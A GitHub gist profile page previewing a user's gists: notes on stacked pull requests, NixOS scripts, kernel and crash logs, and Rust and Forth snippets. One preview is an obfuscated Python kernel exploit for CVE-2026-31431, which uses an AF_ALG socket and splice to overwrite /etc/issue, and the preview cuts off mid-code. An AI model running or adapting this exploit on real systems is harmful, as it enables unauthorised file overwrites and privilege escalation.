Skip to content

Instantly share code, notes, and snippets.

View dramforever's full-sized avatar
🖤
dramming

dram dramforever

🖤
dramming
  • Scarlet Devil Mansion, Gensokyo
View GitHub Profile
@dramforever
dramforever / gh-stack.md
Last active July 31, 2026 01:14
Observations about GitHub stacked pull requests

Obervations hopefully accurate as of 2026-07-31. Some comments written from the perspective of looking to use this in Nixpkgs.

  • You can't make stacked PRs from a fork, which sadly makes this feature basically only useful for like one or two committers.
    • github/gh-stack#18
    • (Note: In Nixpkgs we call those with permission to merge pull requests "committers". Think "commit bit".)
  • The docs around https://web.archive.org/web/20260730215241/https://github.github.com/gh-stack/introduction/overview/ are better than the stacked PR docs on docs.github.com
  • Stacked pull requests are an extension of the existing feature where you can have a pull request foo -> main, and another bar -> foo, and when the first gets merged the latter automatically retargets to bar -> main. This is also how you can manually create stackable pull requests.
  • Stacked pull requests are only considered to be "consistent" if the history is strictly linear. In other words each base branch in the stac
@dramforever
dramforever / weird-dbus-dependency.txt
Created July 1, 2026 06:15
weird-dbus-dependency.txt
Dec 17 23:02:41 localhost kernel: Booting Linux on hartid 0
Dec 17 23:02:41 localhost kernel: Linux version 7.1.2-533.1.or (abuild@obsworker-sg2044-0315-8) (gcc (openRuyi) 16.1.0, GNU ld (GNU Binutils) 2.46.0.20260210) #1 SMP PREEMPT_DYNAMIC Tue Jun 30 10:45:34 UTC 2026
Dec 17 23:02:41 localhost kernel: SBI specification v3.0 detected
Dec 17 23:02:41 localhost kernel: SBI implementation ID=0x1 Version=0x10007
Dec 17 23:02:41 localhost kernel: SBI TIME extension detected
Dec 17 23:02:41 localhost kernel: SBI IPI extension detected
Dec 17 23:02:41 localhost kernel: SBI RFENCE extension detected
Dec 17 23:02:41 localhost kernel: SBI SRST extension detected
Dec 17 23:02:41 localhost kernel: SBI DBCN extension detected
Dec 17 23:02:41 localhost kernel: SBI FWFT extension detected
#!/usr/bin/env python3
# Based on https://github.com/theori-io/copy-fail-CVE-2026-31431/blob/main/copy_fail_exp.py
# Changed to write to /etc/issue instead of dropping a binary to allow it to do something visible on a non-x86_64 machine.
import os as g,zlib,socket as s
def d(x):return bytes.fromhex(x)
def c(f,t,c):
a=s.socket(38,5,0);a.bind(("aead","authencesn(hmac(sha256),cbc(aes))"));h=279;v=a.setsockopt;v(h,1,d('0800010000000010'+'0'*64));v(h,5,None,4);u,_=a.accept();o=t+4;i=d('00');u.sendmsg([b"A"*4+c],[(h,3,i*4),(h,2,b'\x10'+i*19),(h,4,b'\x08'+i*3),],32768);r,w=g.pipe();n=g.splice;n(f,w,o,offset_src=0);n(r,u.fileno(),o)
try:u.recv(8+t)
@dramforever
dramforever / lustrate.nix
Last active April 12, 2026 04:09
Well that wasn't very hard. Or maybe I did something wrong?
{
config,
lib,
pkgs,
...
}:
let
cfg = config.boot.initrd.systemd;
in
@dramforever
dramforever / nixos-substrate.sh
Last active December 16, 2025 12:39 — forked from whitequark/nixos-bite.sh
substrate n. portmanteau of "subdir" and "lustrate" (also a real word that means something relevant, probably)
#! /usr/bin/env bash
set -x -e -o pipefail
# PoC of nixos-substrate
#
# substrate n.
# portmanteau of "subdir" and "lustrate"
# (also a real word that means something relevant, probably)
#
# fanfiction of nixos-bite https://gist.github.com/whitequark/b2ebce6ce77f4b29e37dffc4cbd45873
#ifndef __VMLINUX_H__
#define __VMLINUX_H__
#ifndef BPF_NO_PRESERVE_ACCESS_INDEX
#pragma clang attribute push (__attribute__((preserve_access_index)), apply_to = record)
#endif
/* 16-bit */
typedef short unsigned int __u16;
typedef __u16 __be16;
Machine state will be reset. To keep it, pass --keep-vm-state
start all VLans
start vlan
running vlan (pid 9; ctl /build/vde1.ctl)
(finished: start all VLans, in 0.00 seconds)
Test will time out and terminate in 3600 seconds
run the VM test script
additionally exposed symbols:
fakeip, server, target, tproxy, tun, wireguard,
vlan1,
#0 0x00007fb858e9cf3c in __pthread_kill_implementation () from /nix/store/g2jzxk3s7cnkhh8yq55l4fbvf639zy37-glibc-2.40-66/lib/libc.so.6
#1 0x00007fb858e4190e in raise () from /nix/store/g2jzxk3s7cnkhh8yq55l4fbvf639zy37-glibc-2.40-66/lib/libc.so.6
#2 0x00007fb85d6366f3 in KCrash::defaultCrashHandler(int) () from /nix/store/4knd9p4dr453bwb44g4glknskilg208j-kcrash-6.16.0/lib/libKF6Crash.so.6
#3 <signal handler called>
#4 0x00007fb83e076950 in iris_set_damage_region () from /nix/store/ig8h5hjy3s9lfhi75zc64acmyzr8zzyd-mesa-25.1.6/lib/libgallium-25.1.6.so
#5 0x00007fb83cd27fcf in dri_st_framebuffer_validate () from /nix/store/ig8h5hjy3s9lfhi75zc64acmyzr8zzyd-mesa-25.1.6/lib/libgallium-25.1.6.so
#6 0x00007fb83cddc48c in st_framebuffer_validate () from /nix/store/ig8h5hjy3s9lfhi75zc64acmyzr8zzyd-mesa-25.1.6/lib/libgallium-25.1.6.so
#7 0x00007fb83cddd061 in st_api_make_current () from /nix/store/ig8h5hjy3s9lfhi75zc64acmyzr8zzyd-mesa-25.1.6/lib/libgallium-25.1.6.so
#8 0x00007fb83cd27a84 in dri_make_current () f
use core::{
fmt,
ops::{Range, RangeInclusive},
};
/// A non-empty range of `usize` values
///
/// Like [`RangeInclusive`], `Region` can repesent any `usize` range, even those
/// that contain `usize::MAX`.
#[derive(Clone, Copy, PartialEq, Eq)]
\ https://www.cs.utexas.edu/users/EWD/transcriptions/EWD00xx/EWD28.html
: indvar create 0 , ['] @ ,
does> dup cell+ @ execute ;
: :=
>body
dup -rot ! \ Store value
cell+ ['] @ swap ! ; \ Make literal indvar